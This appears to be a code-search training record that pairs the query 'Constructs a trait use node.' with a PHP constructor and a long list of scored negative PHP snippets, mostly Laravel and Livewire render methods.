[ "public function index() {\r\n $this->genererVue();\r\n }", "public function render()\n {\n return view('livewire.detail-satwa')\n ->extends('layouts.guest.master')\n ->section('content');\n }", "public function render() {\n\t\techo '<div id=\"neve-dashboard\"></div>';\n\t}", "public function render()\n {\n return view('laravolt::components.tab');\n }", "public function render()\n {\n //componente y vista livewire se creo con-> php artisan make:livewire ClientList\n return view('livewire.client-list',[\n 'clients' => Client::latest()->with('client')->take(9)->get()\n ]);\n }", "public static function afficherVue() {\r\n $filevue = \"application/views/\" . Page::getInstance()->vue . \".view.php\";\r\n if (!empty($filevue)) {\r\n Page::getInstance()->insererVue();\r\n } else {\r\n die(\"vue non renseigne\");\r\n }\r\n }", "public function indexvue()\n {\n return view('admin.employes.liste');\n }", "public function render()\n {\n return view('components.producto');\n }", "public function belajarVue()\n {\n return view('kamis');\n }", "public function render()\n {\n return view('components.horario-component');\n }", "public function render()\n {\n return view('components.slider-home', [\n // 'slider' => Slider::where('active', true)->orderBy('seq_no')->get()\n 'sliders' => WpRevsliderSlide::orderBy('slide_order')->get()\n ]);\n }", "public function render()\n {\n return view('components.video');\n }", "public function render()\n {\n\n// //直接显示view\n// return <<<'blade'\n// <div class=\"alert alert-danger\">\n// {{ $slot }}\n// </div>\n// blade;\n\n return view('components.message');\n }", "public function render(){\n\n }", "public function render()\n {\n \n return view('livewire.history',['data' => HistoryDb::orderBy('id', 'desc')->paginate($this->pagination_limit)]);\n //return view('livewire.task');\n }", "public function render()\n {\n return view('components.components.tab');\n }", "public function render()\n {\n // Peticion a la BD de los Productos\n $products = Product::orderBy('id', \"DESC\")->get();\n\n return view('livewire.show-product', compact('products'));\n }", "public function render()\n {\n return view('components.pilihan');\n }", "public function render()\n {\n return view('dwbtui::components.html');\n }", "function render(){\n $productos = $this->model->get();\n $this->view->productos = $productos;\n $this->view->render('ayuda/index');\n }", "public function render()\n {\n return view('components.acrostico');\n }", "protected function render()\n {\n $params = ['title' => $this->title, 'content' => $this->content];\n $html = $this->template('Views/v_main.php', $params);\n echo $html;\n }", "public function render()\n {\n \n }", "public function render()\n {\n //\n }", "public function render()\n {\n }", "public function render()\n {\n }", "public function render()\n {\n }", "public function render()\n {\n }", "private function insererVue() {\r\n $filevue = \"application/views/\" . $this->vue . \".view.php\";\r\n require_once $filevue;\r\n }", "public function actionIndex(): \\yii\\web\\Response\n {\n return $this->renderTemplate('commercereports/vue/index', [\n 'navItem' => 'orders',\n ]);\n }", "public function home(){\n return view('vueApp');\n }", "public function render()\n {\n return view('adminhub::livewire.components.products.variants.editing.inventory')\n ->layout('adminhub::layouts.base');\n }", "public function render()\n {\n return view('components.covid-widget');\n }", "public function render(){\n\t\t\n\t}", "public function mounted()\n {\n \tif ($icon = $this->config('icon')) {\n\n \t\t$this->vueComponent = 'Flex';\n\n \t\t$this->elements = [\n \t\t\t_Html($icon),\n \t\t\t_Rows(\n \t\t\t\t$this->elements\n \t\t\t)\n \t\t];\n \t}\n }", "public function render() {}", "public function render() {}", "public function render() {}", "public function render() {}", "public function render() {}", "public function render() {}", "public function render() {}", "public function render() {}", "public function render() {}", "public function render() {}", "public function render() {}", "public function render() {}", "public function render() {}", "public function render() {}", "public function render() {}", "public function render() {}", "public function render() {}", "public function render() {}", "public function render() {}", "public function render() {}", "public function render() {}", "public function render() {}", "public function render() {}", "public function render() {}", "public function render() {}", "public function render() {}", "public function render() {}", "public function render() {}", "public function render() {}", "public function render() {}", "public function render() {}", "public function render() {}", "public function render() {}", "public function render() {}", "public function render() {}", "public function render() {}", "public function render() {}", "public function render() {}", "public function render() {}", "public function render() {}", "public function render() {}", "public function render() {}", "public function render() {}", "public function render() {}", "public function render() {}", "public function render() {}", "public function render() {}", "public function render() {}", "public function render() {}", "public function render() {}", "public function render() {}", "public function render() {}", "public function manuel()\n {\n // On set la variable a afficher sur dans la vue\n $this->set('title', 'Manuel');\n // On fait le rendu de la vue signup.php\n $this->render('manuel');\n }", "public function renderview(string $vue, array $params = [])\n {\n $params['flashs'] = $this->sessionFlash->getFlash();\n $params['auth'] = $this->session->getSession('auth');\n $params['csrf_token'] = $this->session->getSession('csrf_token')[0];\n\n echo $this->twig->twig->render($vue, $params);\n }", "public function render()\n {\n return view('livewire.connectyu.faq.edit')->layout('layouts.guest');\n }", "public function index()\n {\n //appel de la fonction render de la class Controller qui affiche la vue\n $this->render('accueil/accueil.php',);\n\n }", "public function render()\n {\n return view('components.test');\n }", "public function render()\n {\n return view('storefront::livewire.product-card');\n }", "public function pageconnexionerreur(){\n\t\t$vue = new Vue(\"ConnexionErreur\");\n\t\t$vue->generer(array());\n\t}", "public function render() {\r\n\t\t\r\n\t}", "public function render()\n {\n return view('components.dashboard.main');\n }", "public function render()\n {\n return view('gallery::components.slider.'.$this->theme);\n }", "protected function render(){\n //render view\n \n }", "public function render()\n {\n $this->order = Auth::user()?->order?->where(\"status\", 0)?->first();\n // ambil order_detail milik order diatas\n $this->order_detail = $this->order?->order_detail()?->latest()?->get();\n\n return view('livewire.keranjang', [\n \"order\" => $this->order,\n \"order_detail\" => $this->order_detail ?? [],\n \"no\" => 1\n ]);\n }", "public function render()\n {\n return view('components.testimony-component');\n }", "public function index()\n {\n\n\n $this->view->render();\n }" ]
[ "0.6885516", "0.6724208", "0.66114616", "0.64888763", "0.6455527", "0.6427262", "0.6378208", "0.6372937", "0.636241", "0.63479036", "0.63452905", "0.6311434", "0.62655646", "0.62593865", "0.6219314", "0.6208566", "0.61912906", "0.61672276", "0.613543", "0.61341035", "0.6127365", "0.61258566", "0.6119702", "0.610977", "0.61050445", "0.61050445", "0.61050445", "0.61050445", "0.6089331", "0.60816914", "0.60541457", "0.60387456", "0.6030357", "0.60181594", "0.6014995", "0.6001832", "0.6001832", "0.6001832", "0.6001832", "0.6001832", "0.6001832", "0.6001832", "0.6001832", "0.6001832", "0.6001832", "0.6001832", "0.6001832", "0.6001832", "0.6001832", "0.6001832", "0.6001832", "0.6001832", "0.6001832", "0.6001832", "0.6001832", "0.6001832", "0.6001832", "0.6001832", "0.6001832", "0.6001832", "0.6001832", "0.6001832", "0.6001832", "0.6001832", "0.6001832", "0.6001832", "0.6001832", "0.6001832", "0.6001832", "0.6001832", "0.6001534", "0.6001534", "0.6001534", "0.6001534", "0.6001534", "0.6001534", "0.6001534", "0.6001534", "0.6001534", "0.6001534", "0.6001534", "0.6001534", "0.6001534", "0.6001534", "0.6001534", "0.6001534", "0.6001534", "0.5980435", "0.59755415", "0.59687465", "0.59545785", "0.5952404", "0.5936319", "0.5931543", "0.59217453", "0.5921404", "0.59122634", "0.59120667", "0.5906307", "0.59029317", "0.5897091" ]
0.0
-1
Constructs a trait use node.
public function __construct(array $traits, array $adaptations = array(), array $attributes = array()) { parent::__construct( array( 'traits' => $traits, 'adaptations' => $adaptations, ), $attributes ); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "private function getTraitNode(): Node\\Stmt\\TraitUse\n {\n return new Node\\Stmt\\TraitUse([\n new Node\\Name('\\\\' . $this->aopClassName)\n ]);\n }", "private function getFirstTraitUseStatementInTrait()\n {\n return $this->getFirstNodeOfTypeInTrait(\n 'PDepend\\\\Source\\\\AST\\\\ASTTraitUseStatement'\n );\n }", "public function findTraitUse($trait);", "private function getFirstTraitUseStatementInClass()\n {\n return $this->getFirstNodeOfTypeInClass(\n $this->getCallingTestMethod(),\n 'PDepend\\\\Source\\\\AST\\\\ASTTraitUseStatement'\n );\n }", "public function uses($trait_name)\n {\n \n //Start with the object.\n $object = $this->object;\n \n //Get the traits used by its class.\n do{\n if(array_key_exists(\"traits\\\\$trait_name\", class_uses($object))){\n return new BooleanWrapper(true);\n }\n }\n \n //Move to the parent class.\n while($object = get_parent_class($object));\n \n //Nope.\n return new BooleanWrapper(false);\n \n }", "public function addTrait($name, $path) {\n $source = $this->files->get($path);\n\n $pos = strpos($source, '{') + 1;\n\n $newSource = substr_replace($source, \"\\n use \\Baum\\NodeTrait;\\n\", $pos, 0);\n\n $this->files->put($path, $newSource);\n\n return $path;\n }", "protected function _statementUse($use, $class = null, $method = null) {\n $config_useLFEntries = true; // Seperate single use entries (seperated by comma, by linefeed)\n\n $this->_emitter->emit('use');\n $first = true;\n $indent = true; // Should we indent (more)?\n foreach ($use['aliases'] as $alias) {\n if (!$first) {\n $this->_emitter->emit(',');\n if ($config_useLFEntries) {\n $this->_emitter->emitNL();\n $this->_emitter->indent($indent);\n $indent = false;\n }\n }\n $this->_emitter->emit($alias['name']);\n if (isset($alias['alias'])) {\n $this->_emitter->emit(['as', $alias['alias']]);\n }\n $first = false;\n }\n $this->_emitter->emitEOS();\n $this->_emitter->unindent(!$indent);\n }", "public function visitUsedNamespaceStatement(\n /*IUsedNamespaceStatement*/ $node) /*: mixed*/ {\n $namespace_name = $node->getNamespaceName();\n $alias_name = $node->getAliasName();\n\n $result = $this->indent.'use '.$namespace_name;\n if (is_string($alias_name)) {\n $result .= ' as '.$alias_name;\n }\n return $result.\";\\n\";\n }", "private function createTraits(): string\n {\n return sprintf('use %s;', implode(', ', array_map(function ($trait): string {\n return sprintf('\\%s', $trait);\n }, $this->traits)));\n }", "public function visitTraitAliasStatement(\n /*ITraitAliasStatement*/ $node) /*: mixed*/ {\n $trait_name = $node->getTraitName();\n $method_name1 = $node->getMethodName1();\n $modifiers = Vector {};\n foreach ($node->getModifiers() as $modifiers_elem) {\n $modifiers[] = /*(string)*/$modifiers_elem->accept($this);\n }\n $method_name2 = $node->getMethodName2();\n\n $result = $this->indent;\n if (is_string($trait_name)) {\n $result .= $trait_name.'::';\n }\n $result .= $method_name1.' as ';\n $result .= $this->visitVector($modifiers, '', ' ', '');\n $result .= $method_name2.\";\\n\";\n return $result;\n }", "public function getUse()\n {\n return $this->use;\n }", "public function getUse()\n {\n return $this->use;\n }", "function aliasTrait(){\n if ($this->getType() != 'alias') {\n throw new LogicException('Alias class type can only be set for alias doubles');\n }\n $this->class_type = 'trait';\n return $this;\n }", "public function process( PHP_CodeSniffer_File $phpcsFile, $stackPtr ) {\n\n if ( !$this->_isTraitUse( $phpcsFile, $stackPtr ) ) {\n return;\n }\n\n $tokens = $phpcsFile->getTokens();\n $next = $phpcsFile->findNext( [ T_COMMA, T_SEMICOLON ], ( $stackPtr + 1 ) );\n\n // One space after the use keyword.\n if ( $tokens[ $stackPtr + 1 ]['content'] !== ' ' ) {\n $error = 'There must be a single space after the USE keyword';\n $fix = $phpcsFile->addFixableError( $error, $stackPtr, 'SpaceAfterUse' );\n if ( $fix ) {\n $phpcsFile->fixer->replaceToken( ( $stackPtr + 1 ), ' ' );\n }\n } // if content !== ' '\n\n // Find a comma after `use` before a semicolon\n if ( $tokens[ $next ]['code'] === T_COMMA ) {\n\n // ensure the comma isn't part of a conflict resolution statement:\n // e.g. use A, B { B::blah insteadof A }\n $statementEnd = $phpcsFile->findNext( [ T_OPEN_CURLY_BRACKET, T_SEMICOLON ], ( $next + 1 ) );\n\n if ( $tokens[ $statementEnd ]['code'] === T_SEMICOLON ) {\n\n $error = 'There must be one USE keyword per declaration';\n $fix = $phpcsFile->addFixableError( $error, $next, 'MultipleDeclarations' );\n\n if ( $fix ) {\n $indent = str_repeat( ' ', $tokens[ $stackPtr ]['column'] - 1 );\n $phpcsFile->fixer->replaceToken( $next, ';' . $phpcsFile->eolChar . $indent . 'use ' );\n }\n\n } // if semicolon\n\n } // if comma\n\n }", "public function getUse() {\n if (isset($this->use)) {\n return $this->use;\n } else return $this->getDefaultUse();\n }", "public function usesTrait($trait) {\n return false;\n }", "function useattrib($attribute) { atkuse(\"attribute\", $attribute); }", "public function testModelUseTrait()\n {\n $use = array_key_exists(\n VirtualAttribute::class,\n class_uses_recursive(Post::class)\n );\n\n $notUse = array_key_exists(\n VirtualAttribute::class,\n class_uses_recursive(User::class)\n );\n\n // has\n $this->assertTrue($use);\n\n // not has\n $this->assertNotTrue($notUse);\n }", "private function _isTraitUse( PHP_CodeSniffer_File $phpcsFile, $stackPtr ) {\n\n $tokens = $phpcsFile->getTokens();\n $next = $phpcsFile->findNext( T_WHITESPACE, ( $stackPtr + 1 ), null, true );\n\n if ( $tokens[ $next ]['code'] === T_OPEN_PARENTHESIS ) {\n return false;\n }\n\n return $phpcsFile->hasCondition( $stackPtr, [ T_CLASS, T_TRAIT ] );\n\n }", "public function using($alias);", "public function setUseComment($use_comment) {\n\n if (!isset($use_comment) || $use_comment == \"\") {\n $use_comment = \"0\";\n }\n $this->fields[\"use_comment\"] = $use_comment;\n\n return $this;\n }", "public function addCustom($usage, $template)\n\t{\n\t\t// Create a temporary repository for this BBCode\n\t\t$dom = new DOMDocument;\n\t\t$dom->loadXML(\n\t\t\t'<?xml version=\"1.0\" encoding=\"utf-8\" ?>\n\t\t\t<repository>\n\t\t\t\t<bbcode name=\"CUSTOM\">\n\t\t\t\t\t<usage>' . htmlspecialchars($usage) . '</usage>\n\t\t\t\t\t<template>' . htmlspecialchars($template) . '</template>\n\t\t\t\t</bbcode>\n\t\t\t</repository>'\n\t\t);\n\t\t$repository = new Repository($dom);\n\n\t\treturn $this->addFromRepository('CUSTOM', $repository);\n\t}", "public function __construct(NodeInterface $node);", "protected function initNodeTrait(?NodeInterface $parent = null, ?string $name = null)\n {\n $this->nodeName = $name ?? spl_object_hash($this);\n\n if (!$parent) {\n $this->nodeRoot = $this;\n $this->nodeParent = $this;\n } else {\n $this->nodeRoot = $parent->getRoot();\n $this->nodeParent = $parent;\n /** @noinspection PhpParamsInspection */\n $parent->addChild($this);\n }\n }", "function uses($uses=null)\n {\n if (isset($uses)) $this->uses = $uses;\n return $this->uses;\n }", "public function addUseContext(?FHIRCodeableConcept $useContext = null): object\n\t{\n\t\t$this->_trackValueAdded();\n\t\t$this->useContext[] = $useContext;\n\t\treturn $this;\n\t}", "function &newNode($node)\n {\n global $g_modules, $config_atkroot, $g_overloaders;\n\n /* check for file */\n $file = nodeFile($node);\n if (!file_exists($file))\n { \n atkimport(\"atk.utils.atkclassloader\");\n $res = atkClassLoader::invokeFromString(atkconfig(\"missing_class_handler\"), array(\"node\"=>$node));\n if ($res!==false)\n {\n return $res;\n }\n else\n {\n atkerror(\"Cannot create node, because a required file ($file) does not exist!\", \"critical\");\n return NULL;\n }\n }\n\n /* include file */\n include_once($file);\n\n /* module */\n $module = getNodeModule($node);\n\n /* now that we have included the node source file, we check\n * for overloaders (because overloaders might need the included file!)\n */\n $overloader = &$this->nodeOverloader($node);\n if ($overloader != NULL)\n {\n $overloader->m_module = $module;\n return $overloader;\n }\n\n /* initialize node and return */\n $type = getNodeType($node);\n $node = new $type();\n $node->m_module = $module;\n return $node;\n }", "public function addUseStatementToFile(SplFileInfo $to, SplFileInfo $from)\n {\n $namespace = self::getNamespaceOfFile($from);\n $fullNamespace = $namespace . '\\\\' . str_replace('.php', '', $from->getFilename());\n if (\n ! $this->classHasUseStatement($to, $fullNamespace) &&\n self::getNamespaceOfFile($to) !== self::getNamespaceOfFile($from)\n ) {\n $file_contents = file_get_contents($to->getRealPath());\n $use = '/' . preg_quote('use', '/') . '/';\n\n $file_contents = preg_replace($use, \"use {$fullNamespace};\\nuse\", $file_contents, 1);\n file_put_contents($to->getRealPath(), $file_contents);\n }\n }", "function addUsing($usingClass, $using, $modifier) {\n\t\t// Odstraneni nezadouci metody\n\t\tforeach ($this->methodArray as $key => $value) {\n\t\t\tif ($value[\"name\"] == $using) {\n\t\t\t\t$this->methodArray[$key][\"modifier\"] = $modifier;\n\t\t\t\tif ($value[\"parentClass\"] == $usingClass->name) {\n\t\t\t\t\t//TODO osetrit aby se rovnaly i argumenty\n\t\t\t\t} else\n\t\t\t\t\tunset($this->methodArray[$key]);\n\t\t\t}\n\t\t}\n\n\t\t// Odstraneni nezadouciho atributu\n\t\tforeach ($this->attributesArray as $key => $value) {\n\t\t\tif ($value[\"name\"] == $using ) {\n\t\t\t\t$this->attributesArray[$key][\"modifier\"] = $modifier;\n\n\t\t\t\tif ($value[\"parentClass\"] != $usingClass->name)\n\t\t\t\t\tunset($this->attributesArray[$key]);\n\t\t\t}\n\t\t}\n\t}", "public function ___use($name) {\n\n\t\t$name = $this->wire('sanitizer')->name($name);\n\t\t$class = $this->className();\n\t\t$config = $this->wire('config');\n\n\t\tif(!isset($this->components[$name])) {\n\t\t\t$this->error(\"Unrecognized $class component requested: $name\");\n\t\t\treturn $this;\n\t\t}\n\n\t\tif($this->initialized) {\n\t\t\t$url = $this->components[$name];\n\t\t\t$mtime = 0;\n\t\t\tif(strpos($url, '/') === false) {\n\t\t\t\t$file = $config->paths->$class . $url;\n\t\t\t\t$url = $config->urls->$class . $url;\n\t\t\t\t$mtime = filemtime($file);\n\t\t\t}\n\t\t\t$config->scripts->add($url . \"?v=$mtime\");\n\t\t} else {\n\t\t\t$this->requested[$name] = $name;\n\t\t}\n\n\t\treturn $this;\n\t}", "public function addUsage(string $usage): static\n {\n if (!str_starts_with($usage, $this->name)) {\n $usage = sprintf('%s %s', $this->name, $usage);\n }\n\n $this->usages[] = $usage;\n\n return $this;\n }", "public function addTrait(PhpTrait $trait);", "private function parseUseStatement() {\n\n\t\t$class = '';\n\t\t$alias = '';\n\t\t$statements = array();\n\t\t$explicitAlias = false;\n\t\twhile (($token = $this->next())) {\n\t\t\t$isNameToken = $token[0] === T_STRING || $token[0] === T_NS_SEPARATOR;\n\t\t\tif (!$explicitAlias && $isNameToken) {\n\t\t\t\t$class .= $token[1];\n\t\t\t\t$alias = $token[1];\n\t\t\t} else if ($explicitAlias && $isNameToken) {\n\t\t\t\t$alias .= $token[1];\n\t\t\t} else if ($token[0] === T_AS) {\n\t\t\t\t$explicitAlias = true;\n\t\t\t\t$alias = '';\n\t\t\t} else if ($token === ',') {\n\t\t\t\t$statements[$alias] = $class;\n\t\t\t\t$class = '';\n\t\t\t\t$alias = '';\n\t\t\t\t$explicitAlias = false;\n\t\t\t} else if ($token === ';') {\n\t\t\t\t$statements[$alias] = $class;\n\t\t\t\tbreak;\n\t\t\t} else {\n\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\n\t\treturn $statements;\n\t}", "public function linkTo(UXNode $node)\n {\n \n }", "public function setUses(int $uses): self\n {\n $this->uses = $uses;\n return $this;\n }", "public function setUsage($var)\n {\n GPBUtil::checkDouble($var);\n $this->usage = $var;\n\n return $this;\n }", "public function setUseType($value)\n {\n return $this->set(self::USE_TYPE, $value);\n }", "public function get_useand() {\n return $this->useand;\n }", "public function getTrait()\n {\n return 'Component' . $this->type . 'Trait';\n }", "private function _setUse($use) {\n if (is_string($use) && strtolower($use) === DolBlsApi::JSON) {\n $this->_useJson = true;\n } else if (is_string($use) && strtolower($use) === DolBlsApi::XML) {\n $this->_useXml = true;\n }\n }", "function userelation($relation) { atkuse(\"relation\" , $relation); }", "public function entityAddUsage($entity) {\n // Add the file usage\n if (!empty($entity->node_usage)) {\n foreach ($entity->node_usage as $entity_id) {\n $using_entity = node_load($entity_id);\n $using_entity_instances = field_info_instances('node', $using_entity->type);\n foreach($using_entity_instances as $field_name => $instance) {\n $field_info = field_info_field($field_name);\n if ($field_info['type'] == $entity->type) {\n $using_entity->{$field_name}[LANGUAGE_NONE][] = (array)$entity;\n // This will also call the file_usage_add() function.\n node_save($using_entity);\n }\n }\n }\n }\n if (!empty($entity->term_usage)) {\n foreach ($entity->term_usage as $entity_id) {\n $using_entity = taxonomy_term_load($entity_id);\n $using_entity_instances = field_info_instances('taxonomy_term', $using_entity->type);\n foreach($using_entity_instances as $field_name => $instance) {\n $field_info = field_info_field($field_name);\n if ($field_info['type'] == $entity->type) {\n $using_entity->{$field_name}[LANGUAGE_NONE][] = (array)$entity;\n taxonomy_term_save($using_entity);\n }\n }\n }\n }\n }", "public function setUsedByVariance($variance)\n\t{\n\t\t$this->usedByVariance = $variance;\n\t\treturn $this;\n\t}", "public function withEntityUseCode($code)\n {\n $this->_model['entityUseCode'] = $code;\n return $this;\n }", "public function setUseContext(array $useContext = []): object\n\t{\n\t\tif ([] !== $this->useContext) {\n\t\t\t$this->_trackValuesRemoved(count($this->useContext));\n\t\t\t$this->useContext = [];\n\t\t}\n\t\tif ([] === $useContext) {\n\t\t\treturn $this;\n\t\t}\n\t\tforeach ($useContext as $v) {\n\t\t\tif ($v instanceof FHIRCodeableConcept) {\n\t\t\t\t$this->addUseContext($v);\n\t\t\t} else {\n\t\t\t\t$this->addUseContext(new FHIRCodeableConcept($v));\n\t\t\t}\n\t\t}\n\t\treturn $this;\n\t}", "public function __construct($node, AccountInterface $account, $op, $byVote = false)\n {\n $this->node = $node;\n $this->account = $account;\n $this->op = $op;\n $this->byVote = $byVote;\n }", "public function addNode(string $name, NodeInterface $node): NodeInterface\n {\n $this->nodes[$name] = $node;\n\n return $this;\n }", "function trait_uses_recursive($trait)\n{\n $traits = class_uses($trait);\n\n foreach ($traits as $trait) {\n $traits += trait_uses_recursive($trait);\n }\n\n return $traits;\n}", "public function use(array $classOrTraits, array $groups, array $paths, array $hooks): void\n {\n foreach ($classOrTraits as $classOrTrait) {\n if (class_exists($classOrTrait)) {\n continue;\n }\n if (trait_exists($classOrTrait)) {\n continue;\n }\n throw new TestCaseClassOrTraitNotFound($classOrTrait);\n }\n\n foreach ($paths as $path) {\n if (array_key_exists($path, $this->uses)) {\n $this->uses[$path] = [\n [...$this->uses[$path][0], ...$classOrTraits],\n [...$this->uses[$path][1], ...$groups],\n $this->uses[$path][2] + $hooks,\n ];\n } else {\n $this->uses[$path] = [$classOrTraits, $groups, $hooks];\n }\n }\n }", "public static function fromNode(Node $node);", "public function getImportableNode(): Node;", "public function getNodeFactory();", "public function setUse(FHIRUse $use = null)\n {\n $this->use = $use;\n return $this;\n }", "private function parseUseStatements() {\n\n\t\t$statements = array();\n\t\twhile (($token = $this->next())) {\n\t\t\tif ($token[0] === T_USE) {\n\t\t\t\t$statements = array_merge($statements, $this->parseUseStatement());\n\t\t\t\tcontinue;\n\t\t\t} else if ($token[0] !== T_NAMESPACE || $this->parseNamespace() != $this->class->getNamespaceName()) {\n\t\t\t\tcontinue;\n\t\t\t}\n\n\t\t\t// Get fresh array for new namespace. This is to prevent the parser to collect the use statements\n\t\t\t// for a previous namespace with the same name. This is the case if a namespace is defined twice\n\t\t\t// or if a namespace with the same name is commented out.\n\t\t\t$statements = array();\n\t\t}\n\n\t\treturn $statements;\n\t}", "public function createDefinitionFromNode(Node $node, string $fqn = null): Definition\n {\n $parent = $node->getAttribute('parentNode');\n $def = new Definition;\n $def->canBeInstantiated = $node instanceof Node\\Stmt\\Class_;\n $def->isGlobal = (\n $node instanceof Node\\Stmt\\ClassLike\n || ($node instanceof Node\\Name && $parent instanceof Node\\Stmt\\Namespace_)\n || $node instanceof Node\\Stmt\\Function_\n || $parent instanceof Node\\Stmt\\Const_\n );\n $def->isStatic = (\n ($node instanceof Node\\Stmt\\ClassMethod && $node->isStatic())\n || ($node instanceof Node\\Stmt\\PropertyProperty && $parent->isStatic())\n );\n $def->fqn = $fqn;\n if ($node instanceof Node\\Stmt\\Class_) {\n $def->extends = [];\n if ($node->extends) {\n $def->extends[] = (string)$node->extends;\n }\n } else if ($node instanceof Node\\Stmt\\Interface_) {\n $def->extends = [];\n foreach ($node->extends as $n) {\n $def->extends[] = (string)$n;\n }\n }\n $def->symbolInformation = SymbolInformation::fromNode($node, $fqn);\n $def->type = $this->getTypeFromNode($node);\n $def->declarationLine = $this->getDeclarationLineFromNode($node);\n $def->documentation = $this->getDocumentationFromNode($node);\n $def->parameters = [];\n if ($node instanceof Node\\FunctionLike) {\n foreach ($node->getParams() as $param) {\n $def->parameters[] = $this->prettyPrinter->prettyPrint([$param]);\n }\n }\n return $def;\n }", "public function useLangCamelCase($use)\n\t{\n\t\t$this->useLangCamelCase = (bool) $use;\n\t\treturn $this;\n\t}", "public function _makeNode($name, $label, $stats=null) {\n\t//http://www.markhneedham.com/blog/2013/10/22/neo4j-modelling-hyper-edges-in-a-property-graph/\n\t$query = \"START n=node(*) \n WHERE n:{$label} AND HAS(n.name) \n AND n.name = {name} \";\n\t$bindings = array('name' => $name);\n\tif (is_array($stats) && count($stats)) {\n\t foreach ($stats as $k => $v) {\n\t\t$query .= \"AND (n.{$k} = {{$k}}) \";\n\t\t$bindings[$k] = $v;\n\t }\n\t}\n\t$query .= \"RETURN n\";\n\t$query = new Everyman\\Neo4j\\Cypher\\Query($this->_client, \n\t\t\t\t\t\t $query,\n\t\t\t\t\t\t $bindings\n\t\t\t\t\t\t );\n\t$result = $query->getResultSet();\n\tforeach ($result as $row) {\n\t if ($row['n']) {\n\t\treturn $row['n'];\n\t }\n\t}\n\t// else... create it\n\t$node = $this->_client->makeNode()->setProperty('name', $name)->save();\n\n\tif (is_array($stats)) {\n\t foreach ($stats as $key => $value) {\n\t\t$node->setProperty($key, $value);\n\t }\n\t}\n\t\n\t$label = $this->_getLabel($label);\n\t$node->addLabels(array($label));\n\t$node->save();\n\treturn $node;\n }", "public function getCodeRepositoryUse()\n {\n return 'use '.$this->repositoryUse.';';\n }", "public function test2(){\n echo \"test2 method in trait<br>\";\n }", "function __construct()\n\t{\n\t\tparent::__construct();\n\t\t$this->__resTraitConstruct();\n\t}", "public function setUse(FHIRAddressUse $use = null)\n {\n $this->use = $use;\n return $this;\n }", "function &nodeOverloader($node)\n {\n global $g_modules, $config_atkroot, $g_overloaders;\n\n /* overloader check */\n if (!empty($g_overloaders[$node]))\n {\n atkdebug(\"Using overloader '\".$g_overloaders[$node].\"' for class '\".$node.\"'\");\n return newNode($g_overloaders[$node], FALSE);\n }\n\n /* no overloader */\n else return NULL;\n }", "public function testifUseTraits()\n {\n $traits = [\n SoftDeletes::class, \n Uuid::class\n ];\n $categoryTraits = array_keys(class_uses(Category::class)); \n $this->assertEquals($traits, $categoryTraits);\n }", "function using(&$expr, $as, $block) {\n if (xp::registry('exceptions')) {\n xp::registry('using', NULL);\n return xp::null();\n }\n\n if (NULL === ($u= xp::registry('using'))) {\n $e= &new NullPointerException('Shadowing of as ('.xp::stringOf($as).')');\n $expr && $expr->__exit($e);\n return throw($e);\n }\n\n extract($u[1]);\n xp::registry('using', NULL);\n\n if (!$expr) {\n return throw(new NullPointerException('using('.$u[0].')'));\n }\n\n try(); {\n eval('$'.$u[0].'= &$expr; '.$block);\n } if (catch('Throwable', $e)) {\n // Intentionally empty\n } finally(); {\n $expr->__exit($e);\n if ($e) return throw($e);\n }\n }", "function addTrait($trait)\n {\n if (is_string($trait)) {\n $this->traits[] = $this->normalizeTrait($trait);\n } else if (is_array($trait)) {\n foreach ($trait as $item) {\n if(!is_string($item)){\n $this->throwTraitException();\n }\n $this->addTrait($item);\n }\n } else {\n $this->throwTraitException();\n }\n return $this;\n }", "public function withTraits(string ... $traits): ClassMatrixInterface;", "public function register()\n {\n return [T_USE];\n\n }", "protected function generateUseStatements(EntityInfo $entityInfo) {\n\t\t$lines = array();\n\t\t$useStatements = $entityInfo->getUseStatements();\n\t\tif($this->_entityNeedsCollectionTypes($entityInfo)) {\n\t\t\t//reflection gathered use statement array is indexed by lowercase aliases so by adding the use statements\n\t\t\t//below by using lowercase array keys we do not have to check for duplicates\n\t\t\t$useStatements[\"collection\"] = 'Doctrine\\Common\\Collections\\Collection';\n\t\t\t$useStatements[\"arraycollection\"] = 'Doctrine\\Common\\Collections\\ArrayCollection';\n\t\t}\n\t\tforeach($useStatements as $alias => $useClass) {\n\t\t\t$alias = strtoupper($alias);\n\t\t\t$CNA = explode(\"\\\\\", $useClass);\n\t\t\t$shortClassName = strtoupper(array_pop($CNA));\n\t\t\t$lines[] = 'use ' . $useClass\n\t\t\t\t. ($alias!=$shortClassName ? ' as ' . strtoupper($alias) : '') . ';';\n\t\t}\n\t\treturn (implode(\"\\n\", $lines));\n\t}", "public function withTrait(string $trait, array $changes = []): ClassMatrixInterface;", "public function test6(){\n echo \"test2 method in trait<br>\";\n }", "private function checkUseToken(File $phpcsFile, $stackPtr)\n {\n // If the use token is for a closure we want to ignore it.\n $isClosure = $this->isClosure($phpcsFile, $stackPtr);\n\n if ($isClosure) {\n return;\n }\n\n $tokens = $phpcsFile->getTokens();\n // Only one USE declaration allowed per statement.\n $next = $phpcsFile->findNext([T_COMMA, T_SEMICOLON], ($stackPtr + 1));\n if ($tokens[$next]['code'] === T_COMMA) {\n $error = 'There must be one USE keyword per declaration';\n $phpcsFile->addError($error, $stackPtr, 'MultipleDeclarations');\n }\n $content = '';\n $end = $phpcsFile->findNext([T_SEMICOLON, T_OPEN_CURLY_BRACKET], $stackPtr);\n $useTokens = array_slice($tokens, $stackPtr, $end - $stackPtr, true);\n foreach ($useTokens as $index => $token) {\n if (in_array($token['code'], [T_STRING, T_NS_SEPARATOR, T_WHITESPACE, T_AS])) {\n $content .= $token['content'];\n }\n }\n // Check for class scoping on use. Traits should be\n // ordered independently.\n $scope = 0;\n if (!empty($token['conditions'])) {\n $scope = key($token['conditions']);\n }\n\n $this->uses[$scope][$content] = 1;\n }", "public function withTrait(IdentityTrait $trait): self\n {\n $this->traits = $this->traits ?? [];\n return $this->with('traits', [...$this->traits, $trait]);\n }", "public function set(string $name, string $value = null): NodeInterface;", "public function __construct(CreateUserActivityUseCase $usecase)\n {\n $this->usecase = $usecase;\n }", "function yy_r78(){ $this->_retvalue =['USING', $this->yystack[$this->yyidx + -1]->minor]; }", "public function emitImport($class, $as = null)\n {\n $this->writer->write('use ' . $class . ($as !== null ? ' as ' . $as : '') . ';' . PHP_EOL);\n return $this;\n }", "public function usage(array $params = [])\n {\n $endpointBuilder = $this->endpoints;\n /** @var Xpack\\Usage $endpoint */\n $endpoint = $endpointBuilder('Xpack\\Usage');\n $endpoint->setParams($params);\n\n return 